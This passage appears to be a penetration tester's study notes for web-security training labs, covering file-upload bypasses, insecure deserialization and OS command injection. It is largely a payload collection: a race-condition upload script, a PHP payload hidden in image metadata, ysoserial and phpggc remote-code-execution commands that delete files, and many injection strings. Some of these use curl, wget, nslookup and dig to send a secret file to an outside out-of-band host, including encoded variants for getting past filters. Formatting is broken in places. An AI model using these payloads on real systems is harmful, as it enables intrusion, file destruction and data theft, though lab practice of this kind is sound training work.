"'''
request2 = '''GET /files/avatars/exploit.php HTTP/2
Host: 0a9f001a0402968980aa71ff005800a2.web-security-academy.net
Cookie: session=BDQwc3X5j3KtZnYGl2EfeMS343RSfxUY
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary98c9b3da851ef56a55d5e1fea06146ca
Content-Length: 0
Origin: https://0a9f001a0402968980aa71ff005800a2.web-security-academy.net
Referer: https://0a9f001a0402968980aa71ff005800a2.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
Bypass
Bypass
Change the Content-Type
Look at changing the content type to bypass simple restrictions.
Content-Type: image/jpeg
Upload a .htaccess file
If possible, upload a file that will allow the web server to execute files of a specified extension:
AddType application/x-httpd-php .djang0
Bypass the restriction
Try to upload a different type of file extension to trick the filter:
exploit.php.jpg
exploit.php.
exploit%2Ephp
exploit.asp;.jpg
exploit.asp%00.jpg
exploit.p.phphp
Hide in the metadata
If a web server only allows images but allows PHP files, you may be able to put code in the metadata of a web app:
exiftool -Comment="<?php echo 'START ' . PAYLOAD . ' END'; ?>" jack.jpg -o jacksploit.phpInsecure Deserialization
Location
Location
Cookies
Look for base64 encoded session cookies:
session=INJECT HERE
Exploit
Exploit
1. Modifying serialized objects
Super simple lab; change the 0 to a 1 in the session cookie:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
2. Modifying serialized data types
In PHP, there is a bypass where setting a string to 0 evaluates as true. This can be used to bypass a session token.
Likewise, on PHP 7.x and earlier, the comparison 0 == "Example string" evaluates to true, because PHP treats the entire string as the integer 0.
In this lab, you can exploit this to bypass the session token and promote yourself to admin:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"zf01go7nc0aad6fm14a9rtnnm24z94dt";}
to
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
3. Using application functionality to exploit insecure deserialization
This lab uses an insecure feature that deletes your profile picture from your account. In the serialized data, there is a pointer to the avatar location. This can be changed to any specified location, and it will be deleted:
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"lgzv7wl4y0pug2nk0yohnl9r8gs87h1d";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
4. Arbitrary object injection in PHP
In this lab, you can read the PHP in the /CustomTemplate.php~ file, which is disclosed through the code comments. The following code is present:
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
- This can be abused to delete a file.
You can set your serialized data to:
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
- This will delete the file.
5. Exploiting Java deserialization with Apache Commons
In this lab, you can exploit a common vulnerability in Apache using the Apache Commons 4 exploit. I will use ysoserial and the Deserialization Scanner for this lab.
- Authenticate using your credentials.
- Run an active scan on your page; this will highlight that the session cookie is vulnerable to Apache Commons 4 DNS.
- Start up
ysoserial. - Use the following command to base64 encode your payload:
java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
- URL encode this output and send it off to delete the file.
6. Exploiting PHP deserialization with a pre-built gadget chain
This lab is exceptionally difficult. However, it is logical, and shows how you might exploit something like this in the real world.
- Decode the session cookie:
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJmdzhwc3l6amdtOWJkNnExcDlnemdoYXVxMDY1MWoxNyI7fQ==","sig_hmac_sha1":"22176d552df2f6789579c6f204dc061a90460db9"}
- The session cookie can be decoded to show a serialized object in the token (base64 decoded).
- The object is also hashed with sha1.
- If you change the token, the page throws an error that reveals:
\1. The version of Symfony Version: 4.3.6
- You can also find the
<a href=/cgi-bin/phpinfo.php>Debug</a>link on the account page. - You need to use the tool:
phpggc - Use the command
./phpggc -l | grep Symfonyto match the version you discovered. - Execute the following command:
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
- This will give you a base64 encoded payload.
- Go to the
/phpinfo.phppage discovered earlier and find the secret key for the sha1 algorithm. - Go to the website: https://www.freeformatter.com/hmac-generator.html#before-output to generate a signature for your payload.
- When you have the payload and the signature, edit the session cookie to look like:
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"c4683ae5e8e647a5fdf5d1f5cf4aa81108c025b0"}
- Send it off and complete the lab.
Tools
Tools
Ysoserial
ysoserial is a Java tool for generating payloads that exploit Java deserialization vulnerabilities. It targets common serialization libraries and frameworks. It can be run with the following command:
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
-jar ysoserial-all.jar <code>{`[payload] '[command]'`}</code> | base64
Not all gadget chains enable code execution. The following gadget chains help you identify insecure deserialization:
- The
URLDNSchain triggers a DNS lookup for a supplied URL. Most importantly, it does not rely on the target application using a specific vulnerable library and works in any known Java version. JRMPClientis another universal chain that you can use for initial detection. It causes the server to try establishing a TCP connection to the supplied IP address. Note that you need to provide a raw IP address rather than a hostname.
PHP Generic Gadget Chains (PHPGGC)
This is like ysoserial, but for PHP vulnerabilities. The usage is very similar. It can be downloaded with:
git clone https://github.com/ambionics/phpggc.git
cd phpggc
chmod +x phpggc
./phpggc
And works in the following way:
./phpggc [-h|-l|-i|...] <GadgetChain> [arguments]
For example:
<code>{`./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64`}</code>
Deserialization Scanner
This is a built-in Burp extension that can help you identify serialized objects. It can be downloaded through the BApp Store and will flag any serialized data and alert you to exploits if it finds them.
OS Command Injection
Location
Location
Locate OS Command Injection
Use the following command separation characters to _identify_ operating system command injection vulnerabilities.
&&
&
||
|
;
`
'
"
0x0a
\n
Stock Check
Look out for the stock check functionality:
productId=1&storeId=1|whoami
Submit Feedback
The blind injection labs are located on the submit feedback page!
csrf=IMJxfJDOUFIzrOCDmxHwssGEzoPK5VYN&name=test&email=test%40test.com||curl+"http://$(whoami).n3r2dwsw170pgwsx9z72fbcrvi19p8dx.oastify.com"||&subject=test&message=test
Exploit
Exploit
Useful Commands
Purpose of command Linux Windows
Name of current user whoami whoami
Operating system uname -a ver
Network configuration ifconfig ipconfig /all
Network connections netstat -an netstat -an
Running processes ps -ef tasklist
Exfiltration
The target application’s submit feedback function requires an email value. _Identify_ blind OS command injection by appending the ||curl OASTIFY.COM|| bash command, then observe a request made to Collaborator.
email=carlos@exam.net||curl+<code>{`whoami`}</code>.OASTIFY.COM||
The below payload uses DNS exfiltration and the Burp Collaborator DNS service.
||$(curl $(cat /home/carlos/secret).OASTIFY.COM)||
||nslookup+$(cat+/home/carlos/secret).OASTIFY.COM%26"
/usr/bin/wget%20--post-file%20/home/carlos/secret%20https://OASTIFY.COM/
Burp Labs
1. OS command injection, simple case
Super simple lab, append whoami to the back of the request:
productId=1&storeId=1|whoami
Blind OS Command
2. Blind OS command injection with time delays
In this lab, you can append a blind time delay to make the server wait for 10 seconds. It needs to be URL encoded so as not to break the syntax.
csrf=5ZUEc6hZD9DnCOqyFtlrW5veHFFsUTmR&name=test&email=test%40test.com||ping+-c+10+127.0.0.1||&subject=test&message=test
3. Blind OS command injection with output redirection
Super simple lab, you can call OS commands again through the submit feedback page. You can store output in the image section of the web app:
csrf=gsW1UwJ9WnD67S5JvETXCjDyypf0DRZZ&name=tets&email=tets%40tets.com||whoami+>+/var/www/images/hello.txt||&subject=tets&message=tets
4. Blind OS command injection with out-of-band interaction
Another super easy lab, do an nslookup to your collaborator link:
csrf=WpxDwMgOt7Iqu78rK9moSIIQTkre8OPk&name=t5gtr&email=trgtr%40rtger.com||nslookup+r806i0x06b5tl0x1e3c6kfhv0m6duei3.oastify.com||&subject=trgtr&message=trgtr
5. Blind OS command injection with out-of-band data exfiltration
Super easy lab, exfiltrate whoami using a sub domain:
csrf=IMJxfJDOUFIzrOCDmxHwssGEzoPK5VYN&name=test&email=test%40test.com||curl+"http://$(whoami).n3r2dwsw170pgwsx9z72fbcrvi19p8dx.oastify.com"||&subject=test&message=test
Exfiltration
Exfiltration
Some payloads for exfiltrating /home/carlos/secret.
DNS Exfiltration
||host $(cat /home/carlos/secret).oastify.com||
||ping -c 1 $(cat /home/carlos/secret).oastify.com||
||dig @OASTIFY.COM $(cat /home/carlos/secret)||
HTTP(S) Exfiltration
||curl -X POST -d @/home/carlos/secret https://oastify.com/post||
||curl https://oastify.com/$(cat /home/carlos/secret)||
||wget --header="X-Secret: $(cat /home/carlos/secret)" https://oastify.com/||
||curl https://oastify.com/ -H "X-Token: $(cat /home/carlos/secret)"||
ICMP-Based (if outbound ICMP is not filtered)
||ping -c 1 $(cat /home/carlos/secret).oastify.com||
Base64 Encoded over HTTP
||curl https://oastify.com/$(base64 /home/carlos/secret)||
||wget https://oastify.com/$(base64 /home/carlos/secret)||
URL-Encoding Variants (for WAF bypass)
%60curl%20https://oastify.com/$(cat%20/home/carlos/secret)%60
%60ping%20-c%201%20$(cat%20/home/carlos/secret).oastify.com%60
Git
Again, this is a very good resource for these labs: Github